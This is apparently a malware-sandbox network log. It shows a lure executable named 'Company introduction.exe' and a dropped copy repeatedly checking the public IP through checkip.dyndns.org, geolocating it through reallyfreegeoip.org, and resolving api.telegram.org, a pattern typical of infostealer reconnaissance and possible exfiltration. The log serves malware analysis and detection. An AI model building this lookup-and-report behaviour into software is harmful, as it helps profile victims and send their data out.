Jan 15, 2025 08:39:03.333297968 CET	192.168.2.4	1.1.1.1	0x5372	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Jan 15, 2025 08:39:04.226078033 CET	192.168.2.4	1.1.1.1	0xf293	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Jan 15, 2025 08:39:14.735824108 CET	192.168.2.4	1.1.1.1	0x5849	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 15, 2025 08:39:03.340167999 CET	1.1.1.1	192.168.2.4	0x5372	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 15, 2025 08:39:03.340167999 CET	1.1.1.1	192.168.2.4	0x5372	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Jan 15, 2025 08:39:03.340167999 CET	1.1.1.1	192.168.2.4	0x5372	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Jan 15, 2025 08:39:03.340167999 CET	1.1.1.1	192.168.2.4	0x5372	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Jan 15, 2025 08:39:03.340167999 CET	1.1.1.1	192.168.2.4	0x5372	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Jan 15, 2025 08:39:03.340167999 CET	1.1.1.1	192.168.2.4	0x5372	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Jan 15, 2025 08:39:04.233692884 CET	1.1.1.1	192.168.2.4	0xf293	No error (0)	reallyfreegeoip.org		104.21.48.1	A (IP address)	IN (0x0001)	false
Jan 15, 2025 08:39:04.233692884 CET	1.1.1.1	192.168.2.4	0xf293	No error (0)	reallyfreegeoip.org		104.21.16.1	A (IP address)	IN (0x0001)	false
Jan 15, 2025 08:39:04.233692884 CET	1.1.1.1	192.168.2.4	0xf293	No error (0)	reallyfreegeoip.org		104.21.32.1	A (IP address)	IN (0x0001)	false
Jan 15, 2025 08:39:04.233692884 CET	1.1.1.1	192.168.2.4	0xf293	No error (0)	reallyfreegeoip.org		104.21.96.1	A (IP address)	IN (0x0001)	false
Jan 15, 2025 08:39:04.233692884 CET	1.1.1.1	192.168.2.4	0xf293	No error (0)	reallyfreegeoip.org		104.21.64.1	A (IP address)	IN (0x0001)	false
Jan 15, 2025 08:39:04.233692884 CET	1.1.1.1	192.168.2.4	0xf293	No error (0)	reallyfreegeoip.org		104.21.112.1	A (IP address)	IN (0x0001)	false
Jan 15, 2025 08:39:04.233692884 CET	1.1.1.1	192.168.2.4	0xf293	No error (0)	reallyfreegeoip.org		104.21.80.1	A (IP address)	IN (0x0001)	false
Jan 15, 2025 08:39:14.742846966 CET	1.1.1.1	192.168.2.4	0x5849	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

reallyfreegeoip.org

api.telegram.org

checkip.dyndns.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49733	193.122.6.168	80	7812	C:\Users\user\Desktop\Company introduction.exe

Timestamp	Bytes transferred	Direction	Data
Jan 15, 2025 08:39:03.352514029 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 15, 2025 08:39:03.979095936 CET	273	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 07:39:03 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>
Jan 15, 2025 08:39:03.991544962 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Jan 15, 2025 08:39:04.177424908 CET	273	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 07:39:04 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>
Jan 15, 2025 08:39:04.957642078 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Jan 15, 2025 08:39:05.144056082 CET	273	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 07:39:05 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49737	193.122.6.168	80	8144	C:\Users\user\AppData\Roaming\FzXKnGk.exe

Timestamp	Bytes transferred	Direction	Data
Jan 15, 2025 08:39:05.691999912 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 15, 2025 08:39:06.312624931 CET	273	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 07:39:06 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>
Jan 15, 2025 08:39:06.316016912 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Jan 15, 2025 08:39:06.501981020 CET	273	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 07:39:06 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>
Jan 15, 2025 08:39:07.225227118 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Jan 15, 2025 08:39:07.410420895 CET	273	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 07:39:07 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49738	193.122.6.168	80	7812	C:\Users\user\Desktop\Company introduction.exe

Timestamp	Bytes transferred	Direction	Data
Jan 15, 2025 08:39:05.782098055 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Jan 15, 2025 08:39:06.408117056 CET	273	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 07:39:06 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49742	193.122.6.168	80	7812	C:\Users\user\Desktop\Company introduction.exe

Timestamp	Bytes transferred	Direction	Data
Jan 15, 2025 08:39:07.033612013 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 15, 2025 08:39:07.667814970 CET	273	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 07:39:07 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49745	193.122.6.168	80	8144	C:\Users\user\AppData\Roaming\FzXKnGk.exe

Timestamp	Bytes transferred	Direction	Data
Jan 15, 2025 08:39:08.017352104 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Jan 15, 2025 08:39:08.652220964 CET	273	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 07:39:08 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49746	193.122.6.168	80	7812	C:\Users\user\Desktop\Company introduction.exe

Timestamp	Bytes transferred	Direction	Data
Jan 15, 2025 08:39:08.290771961 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 15, 2025 08:39:08.917781115 CET	273	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 07:39:08 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49749	193.122.6.168	80	8144	C:\Users\user\AppData\Roaming\FzXKnGk.exe

Timestamp	Bytes transferred	Direction	Data
Jan 15, 2025 08:39:09.272509098 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 15, 2025 08:39:09.906088114 CET	273	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 07:39:09 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49750	193.122.6.168	80	7812	C:\Users\user\Desktop\Company introduction.exe

Timestamp	Bytes transferred	Direction	Data
Jan 15, 2025 08:39:09.525104046 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 15, 2025 08:39:10.149517059 CET	273	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 07:39:10 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49753	193.122.6.168	80	8144	C:\Users\user\AppData\Roaming\FzXKnGk.exe

Timestamp	Bytes transferred	Direction	Data
Jan 15, 2025 08:39:10.524418116 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 15, 2025 08:39:11.158901930 CET	273	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 07:39:11 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49754	193.122.6.168	80	7812	C:\Users\user\Desktop\Company introduction.exe

Timestamp	Bytes transferred	Direction	Data
Jan 15, 2025 08:39:10.778608084 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 15, 2025 08:39:11.401498079 CET	273	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 07:39:11 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49757	193.122.6.168	80	8144	C:\Users\user\AppData\Roaming\FzXKnGk.exe

Timestamp	Bytes transferred	Direction	Data
Jan 15, 2025 08:39:11.788259983 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 15, 2025 08:39:12.423669100 CET	273	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 07:39:12 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49758	193.122.6.168	80	7812	C:\Users\user\Desktop\Company introduction.exe

Timestamp	Bytes transferred	Direction	Data
Jan 15, 2025 08:39:12.075045109 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 15, 2025 08:39:12.706100941 CET	273	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 07:39:12 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49761	193.122.6.168	80	8144	C:\Users\user\AppData\Roaming\FzXKnGk.exe

Timestamp	Bytes transferred	Direction	Data
Jan 15, 2025 08:39:13.021369934 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 15, 2025 08:39:13.647267103 CET	273	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 07:39:13 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49762	193.122.6.168	80	7812	C:\Users\user\Desktop\Company introduction.exe

Timestamp	Bytes transferred	Direction	Data
Jan 15, 2025 08:39:13.338157892 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 15, 2025 08:39:13.967593908 CET	273	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 07:39:13 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49765	193.122.6.168	80	8144	C:\Users\user\AppData\Roaming\FzXKnGk.exe

Timestamp	Bytes transferred	Direction	Data
Jan 15, 2025 08:39:14.442634106 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 15, 2025 08:39:14.999947071 CET	273	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 07:39:14 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49769	193.122.6.168	80	8144	C:\Users\user\AppData\Roaming\FzXKnGk.exe

Timestamp	Bytes transferred	Direction	Data
Jan 15, 2025 08:39:15.617134094 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 15, 2025 08:39:16.274338007 CET	273	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 07:39:16 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49734	104.21.48.1	443	7812	C:\Users\user\Desktop\Company introduction.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 07:39:04 UTC	85	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2025-01-15 07:39:04 UTC	855	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 07:39:04 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 2241534 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Fri, 20 Dec 2024 09:00:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tISPHQTfRX0mAXWdcaiDs8jl3azs1yQ8vYSijG8%2FazcFEcIGz0nhh0pxQFWCPgVRPICG5%2FIXMXNrOC1dhA3XLbeRAs3Ga4DHEWWneSvRI3EQmVuQm98XmJdQKPIBBk3T%2BJsZFONC"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 902435bb8efd42e9-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1771&min_rtt=1649&rtt_var=706&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2848&recv_bytes=699&delivery_rate=1770770&cwnd=241&unsent_bytes=0&cid=94e8cf49d9cad8c0&ts=229&x=0"
